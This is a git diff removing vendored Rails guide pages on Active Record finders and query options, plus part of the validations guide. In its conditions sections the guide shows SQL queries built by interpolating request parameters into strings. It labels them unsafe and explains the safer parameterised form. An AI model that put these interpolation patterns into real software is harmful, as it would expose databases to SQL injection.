-</ruby>
-
-*Additional options*
-
-+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly.
-
-h5. +find_in_batches+
-
-You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead:
-
-<ruby>
-# Works in chunks of 1000 invoices at a time.
-Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
-  export.add_invoices(invoices)
-end
-</ruby>
-
-The above will yield the supplied block with +1000+ invoices every time.
-
-h3. Conditions
-
-The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
-
-h4. Pure String Conditions
-
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
-
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-
-h4. Array Conditions
-
-Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like:
-
-<ruby>
-Client.first(:conditions => ["orders_count = ?", params[:orders]])
-</ruby>
-
-Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
-
-Or if you want to specify two conditions, you can do it like:
-
-<ruby>
-Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])
-</ruby>
-
-In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
-
-The reason for doing code like:
-
-<ruby>
-Client.first(:conditions => ["orders_count = ?", params[:orders]])
-</ruby>
-
-instead of:
-
-<ruby>
-Client.first(:conditions => "orders_count = #{params[:orders]}")
-</ruby>
-
-is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
-
-TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
-
-h5. Placeholder Conditions
-
-Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
-
-<ruby>
-Client.all(:conditions =>
-  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
-</ruby>
-
-This makes for clearer readability if you have a large number of variable conditions.
-
-h5. Range Conditions
-
-If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
-
-<ruby>
-Client.all(:conditions => ["created_at IN (?)",
-  (params[:start_date].to_date)..(params[:end_date].to_date)])
-</ruby>
-
-This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
-
-<sql>
-SELECT * FROM users WHERE (created_at IN
-  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
-  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
-  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
-  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
-  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
-  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
-  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
-</sql>
-
-h5. Time and Date Conditions
-
-Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
-
-<ruby>
-Client.all(:conditions => ["created_at IN (?)",
-  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
-</ruby>
-
-<sql>
-SELECT * FROM users WHERE (created_at IN
-  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
-  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
-</sql>
-
-This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
-
-<shell>
-Got a packet bigger than 'max_allowed_packet' bytes: _query_
-</shell>
-
-Where _query_ is the actual query used to get that error.
-
-In this example it would be better to use greater-than and less-than operators in SQL, like so:
-
-<ruby>
-Client.all(:conditions =>
-  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
-</ruby>
-
-You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
-
-<ruby>
-Client.all(:conditions =>
-  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
-</ruby>
-
-Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":#hash-conditions section later on in the guide.
-
-h4. Hash Conditions
-
-Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
-
-NOTE: Only equality, range and subset checking are possible with Hash conditions.
-
-h5. Equality Conditions
-
-<ruby>
-Client.all(:conditions => { :locked => true })
-</ruby>
-
-The field name does not have to be a symbol it can also be a string:
-
-<ruby>
-Client.all(:conditions => { 'locked' => true })
-</ruby>
-
-h5. Range Conditions
-
-The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
-
-<ruby>
-Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
-</ruby>
-
-This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
-
-<sql>
-SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-</sql>
-
-This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
-
-h5. Subset Conditions
-
-If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
-
-<ruby>
-Client.all(:conditions => { :orders_count => [1,3,5] })
-</ruby>
-
-This code will generate SQL like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
-</sql>
-
-h3. Find Options
-
-Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set.
-
-<ruby>
-Model.find(id_or_array_of_ids, options_hash)
-Model.find(:last, options_hash)
-Model.find(:first, options_hash)
-
-Model.first(options_hash)
-Model.last(options_hash)
-Model.all(options_hash)
-</ruby>
-
-The following sections give a top level overview of all the possible keys for the +options_hash+.
-
-h4. Ordering
-
-To retrieve records from the database in a specific order, you can specify the +:order+ option to the +find+ call.
-
-For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
-
-<ruby>
-Client.all(:order => "created_at")
-</ruby>
-
-You could specify +ASC+ or +DESC+ as well:
-
-<ruby>
-Client.all(:order => "created_at DESC")
-# OR
-Client.all(:order => "created_at ASC")
-</ruby>
-
-Or ordering by multiple fields:
-
-<ruby>
-Client.all(:order => "orders_count ASC, created_at DESC")
-</ruby>
-
-h4. Selecting Specific Fields
-
-By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
-
-To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
-
-NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonly-objects.
-
-<br />
-
-For example, to select only +viewable_by+ and +locked+ columns:
-
-<ruby>
-Client.all(:select => "viewable_by, locked")
-</ruby>
-
-The SQL query used by this find call will be somewhat like:
-
-<sql>
-SELECT viewable_by, locked FROM clients
-</sql>
-
-Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-
-<shell>
-ActiveRecord::MissingAttributeError: missing attribute: <attribute>
-</shell>
-
-Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
-
-You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
-
-<ruby>
-Client.all(:select => "DISTINCT(name)")
-</ruby>
-
-h4. Limit and Offset
-
-To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +:limit+ and +:offset+ options on the find.
-
-If you want to limit the amount of records to a certain subset of all the records retrieved you usually use +:limit+ for this, sometimes coupled with +:offset+. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. For example:
-
-<ruby>
-Client.all(:limit => 5)
-</ruby>
-
-This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
-
-<sql>
-SELECT * FROM clients LIMIT 5
-</sql>
-
-Or specifying both +:limit+ and +:offset+:
-
-<ruby>
-Client.all(:limit => 5, :offset => 5)
-</ruby>
-
-This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
-
-<sql>
-SELECT * FROM clients LIMIT 5, 5
-</sql>
-
-h4. Group
-
-To apply +GROUP BY+ clause to the SQL fired by the +Model.find+, you can specify the +:group+ option on the find.
-
-For example, if you want to find a collection of the dates orders were created on:
-
-<ruby>
-Order.all(:group => "date(created_at)", :order => "created_at")
-</ruby>
-
-And this will give you a single +Order+ object for each date where there are orders in the database.
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT * FROM orders GROUP BY date(created_at)
-</sql>
-
-h4. Having
-
-SQL uses +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can specify the +HAVING+ clause to the SQL fired by the +Model.find+ using +:having+ option on the find.
-
-For example:
-
-<ruby>
-Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
-</ruby>
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15'
-</sql>
-
-This will return single order objects for each day, but only for the last month.
-
-h4. Readonly Objects
-
-To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call.
-
-Any attempt to alter or destroy the readonly records will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. To set this option, specify it like this:
-
-<ruby>
-Client.first(:readonly => true)
-</ruby>
-
-If you assign this record to a variable client, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
-
-<ruby>
-client = Client.first(:readonly => true)
-client.locked = false
-client.save
-</ruby>
-
-h4. Locking Records for Update
-
-Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism:
-
-* Optimistic Locking
-* Pessimistic Locking
-
-h5. Optimistic Locking
-
-Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data.  It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
-
-<strong>Optimistic locking column</strong>
-
-In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice will let the last one saved raise an +ActiveRecord::StaleObjectError+ exception if the first was also updated. Example:
-
-<ruby>
-c1 = Client.find(1)
-c2 = Client.find(1)
-
-c1.name = "Michael"
-c1.save
-
-c2.name = "should fail"
-c2.save # Raises a ActiveRecord::StaleObjectError
-</ruby>
-
-You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
-
-NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
-
-<br />
-
-This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
-
-To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
-
-<ruby>
-class Client < ActiveRecord::Base
-  set_locking_column :lock_client_column
-end
-</ruby>
-
-h5. Pessimistic Locking
-
-Pessimistic locking uses locking mechanism provided by the underlying database. Passing +:lock => true+ to +Model.find+ obtains an exclusive lock on the selected rows. +Model.find+ using +:lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
-
-For example:
-
-<ruby>
-Item.transaction do
-  i = Item.first(:lock => true)
-  i.name = 'Jones'
-  i.save
-end
-</ruby>
-
-The above session produces the following SQL for a MySQL backend:
-
-<sql>
-SQL (0.2ms)   BEGIN
-Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
-Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
-SQL (0.8ms)   COMMIT
-</sql>
-
-You can also pass raw SQL to the +:lock+ option to allow different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-
-<ruby>
-Item.transaction do
-  i = Item.find(1, :lock => "LOCK IN SHARE MODE")
-  i.increment!(:views)
-end
-</ruby>
-
-h3. Joining Tables
-
-<tt>Model.find</tt> provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option:
-
-h4. Using a String SQL Fragment
-
-You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example:
-
-<ruby>
-Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
-</ruby>
-
-This will result in the following SQL:
-
-<sql>
-SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
-</sql>
-
-h4. Using Array/Hash of Named Associations
-
-WARNING: This method only works with +INNER JOIN+,
-
-<br />
-
-Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying the +:joins+ option.
-
-For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
-
-<ruby>
-class Category < ActiveRecord::Base
-  has_many :posts
-end
-
-class Post < ActiveRecord::Base
-  belongs_to :category
-  has_many :comments
-  has_many :tags
-end
-
-class Comments < ActiveRecord::Base
-  belongs_to :post
-  has_one :guest
-end
-
-class Guest < ActiveRecord::Base
-  belongs_to :comment
-end
-</ruby>
-
-Now all of the following will produce the expected join queries using +INNER JOIN+:
-
-h5. Joining a Single Association
-
-<ruby>
-Category.all :joins => :posts
-</ruby>
-
-This produces:
-
-<sql>
-SELECT categories.* FROM categories
-  INNER JOIN posts ON posts.category_id = categories.id
-</sql>
-
-h5. Joining Multiple Associations
-
-<ruby>
-Post.all :joins => [:category, :comments]
-</ruby>
-
-This produces:
-
-<sql>
-SELECT posts.* FROM posts 
-  INNER JOIN categories ON posts.category_id = categories.id
-  INNER JOIN comments ON comments.post_id = posts.id
-</sql>
-
-h5. Joining Nested Associations (Single Level)
-
-<ruby>
-Post.all :joins => {:comments => :guest}
-</ruby>
-
-h5. Joining Nested Associations (Multiple Level)
-
-<ruby>
-Category.all :joins => {:posts => [{:comments => :guest}, :tags]}
-</ruby>
-
-h4. Specifying Conditions on the Joined Tables
-
-You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.all :joins => :orders, :conditions => {'orders.created_at' => time_range}
-</ruby>
-
-An alternative and cleaner syntax to this is to nest the hash conditions:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_range}}
-</ruby>
-
-This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
-
-h3. Eager Loading Associations
-
-Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
-
-<strong>N <plus> 1 queries problem</strong>
-
-Consider the following code, which finds 10 clients and prints their postcodes:
-
-<ruby>
-clients = Client.all(:limit => 10)
-
-clients.each do |client|
-  puts client.address.postcode
-end
-</ruby>
-
-This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
-
-<strong>Solution to N <plus> 1 queries problem</strong>
-
-Active Record lets you specify all the associations in advanced that are going to be loaded. This is possible by specifying the +:include+ option of the +Model.find+ call. By +:include+, Active Record ensures that all the specified associations are loaded using minimum possible number of queries.
-
-Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
-
-<ruby>
-clients = Client.all(:include => :address, :limit => 10)
-
-clients.each do |client|
-  puts client.address.postcode
-end
-</ruby>
-
-The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
-
-<sql>
-SELECT * FROM clients
-SELECT addresses.* FROM addresses
-  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
-</sql>
-
-h4. Eager Loading Multiple Associations
-
-Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +:include+ option.
-
-h5. Array of Multiple Associations 
-
-<ruby>
-Post.all :include => [:category, :comments]
-</ruby>
-
-This loads all the posts and the associated category and comments for each post.
-
-h5. Nested Associations Hash
-
-<ruby>
-Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]}
-</ruby>
-
-The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well.
-
-h4. Specifying Conditions on Eager Loaded Associations
-
-Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joining-tables instead. 
-
-h3. Dynamic Finders
-
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your +Client+ model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+.
-
-You can do +find_last_by_*+ methods too which will find the last record matching your argument.
-
-You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
-
-If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
-
-
-There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
-
-<sql>
-SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
-BEGIN
-INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
-  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
-COMMIT
-</sql>
-
-+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
-
-<ruby>
-client = Client.find_or_initialize_by_name('Ryan')
-</ruby>
-
-will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
-
-h3. Finding by SQL
-
-If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
-
-<ruby>
-Client.find_by_sql("SELECT * FROM clients 
-  INNER JOIN orders ON clients.id = orders.client_id 
-  ORDER clients.created_at desc")
-</ruby>
-
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-
-h3. +select_all+
-
-<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-
-<ruby>
-Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
-</ruby>
-
-h3. Existence of Objects
-
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
-
-<ruby>
-Client.exists?(1)
-</ruby>
-
-The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-
-<ruby>
-Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
-</ruby>
-
-Further more, +exists+ takes a +conditions+ option much like find:
-
-<ruby>
-Client.exists?(:conditions => "first_name = 'Ryan'")
-</ruby>
-
-It's even possible to use +exists?+ without any arguments:
-
-<ruby>
-Client.exists?
-</ruby>
-
-The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
-
-h3. Calculations
-
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
-
-<tt>count</tt> takes conditions much in the same way +exists?+ does:
-
-<ruby>
-Client.count(:conditions => "first_name = 'Ryan'")
-</ruby>
-
-Which will execute:
-
-<sql>
-SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-</sql>
-
-You can also use +:include+ or +:joins+ for this to do something a little more complex:
-
-<ruby>
-Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
-</ruby>
-
-Which will execute:
-
-<sql>
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
-  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
-  (clients.first_name = 'Ryan' AND orders.status = 'received')
-</sql>
-
-This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
-
-h4. Count
-
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Average
-
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.average("orders_count")
-</ruby>
-
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Minimum
-
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.minimum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Maximum
-
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.maximum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Sum
-
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.sum("orders_count")
-</ruby>
-
-For options, please see the parent section,  "Calculations":#calculations.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16
-
-* February 7, 2009: Second version by "Pratik":credits.html#lifo
-* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar
diff --git a/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile b/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
deleted file mode 100644
index 5ae48842..00000000
--- a/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
+++ /dev/null
@@ -1,1086 +0,0 @@
-h2. Active Record Validations and Callbacks
-
-This guide teaches you how to hook into the lifecycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object lifecycle.
-
-After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-
-* Understand the lifecycle of Active Record objects
-* Use the built-in Active Record validation helpers
-* Create your own custom validation methods
-* Work with the error messages generated by the validation process
-* Create callback methods that respond to events in the object lifecycle
-* Create special classes that encapsulate common behavior for your callbacks
-* Create Observers that respond to lifecycle events outside of the original class
-
-endprologue.
-
-h3. The Object Lifecycle
-
-During the normal operation of a Rails application objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data. 
-
-Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
-
-h3. Validations Overview
-
-Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
-
-h4. Why Use Validations?
-
-Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
-
-There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.
-
-* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
-* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
-* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
-* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. 
-
-h4. When Does Validation Happen?
-
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-
-<ruby>
-class Person < ActiveRecord::Base
-end
-</ruby>
-
-We can see how it works by looking at some script/console output:
-
-<shell>
->> p = Person.new(:name => "John Doe")
-=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-</shell>
-
-Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
-
-CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
-
-The following methods trigger validations, and will save the object to the database only if the object is valid:
-
-* +create+
-* +create!+
-* +save+
-* +save!+
-* +update+
-* +update_attributes+
-* +update_attributes!+
-
-The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the object/s.
-
-h4. Skipping Validations
-
-The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
-
-* +decrement!+
-* +decrement_counter+
-* +increment!+
-* +increment_counter+
-* +toggle!+
-* +update_all+
-* +update_attribute+
-* +update_counters+
-
-Note that +save+ also has the ability to skip validations if passed +false+ as argument. This technique should be used with caution.
-
-* +save(false)+
-
-h4. +valid?+ and +invalid?+
-
-To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-end
-
-Person.create(:name => "John Doe").valid? # => true
-Person.create(:name => nil).valid? # => false
-</ruby>
-
-When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations.
-
-Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-end
-
->> p = Person.new
-=> #<Person id: nil, name: nil>
->> p.errors
-=> #<ActiveRecord::Errors..., @errors={}>
-  
->> p.valid?
-=> false
->> p.errors
-=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
-
->> p = Person.create
-=> #<Person id: nil, name: nil>
->> p.errors
-=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
-  
->> p.save
-=> false
-
->> p.save!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-
->> Person.create!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-</ruby>
-
-+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise.
-
-h4. +errors.invalid?+
-
-To verify whether or not a particular attribute of an object is valid, you can use the +errors.invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-end
-
->> Person.new.errors.invalid?(:name) # => false
->> Person.create.errors.invalid?(:name) # => true
-</ruby>
-
-We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
-
-h3. Validation Helpers
-
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
-
-Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
-
-All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
-
-h4. +validates_acceptance_of+
-
-Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service
-end
